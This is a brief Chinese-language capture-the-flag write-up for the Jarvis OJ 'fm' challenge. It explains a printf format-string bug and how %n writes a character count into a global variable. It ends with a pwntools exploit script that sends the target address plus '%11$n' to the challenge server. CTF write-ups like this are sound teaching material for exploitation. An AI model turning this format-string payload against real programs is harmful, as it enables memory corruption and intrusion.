Jarvisoj fm

Posted 2020-10-21 vangelis

格式化字符串的题目

第12排是明显的漏洞

只要能将 x 改为 4 即可

而格式化字符串中 %n 可以写入数字

%n 是printf()是计算自己到%n位置已经输出的字符总数

所以只要输入长度为 4 的字符串 %n即可

 

以上面为栈顶（低地址），下面是栈底（高地址）

可以看到 print 的参数在 v5 buffer的上面

也就是 v5 的可以视作为 printf ( v5 ) 的第 n 个参数（包括字符串的地址）

而现在我们需要知道 x 的地址和 n 即可构造出 payload

 x 地址 0804A02C

附上脚本

from pwn import *

#io = process("./fm")
io = remote(‘pwn2.jarvisoj.com‘, 9895)

payload = p32(0x0804a02c) + "%11$n"

io.send(payload)
io.interactive()
io.close()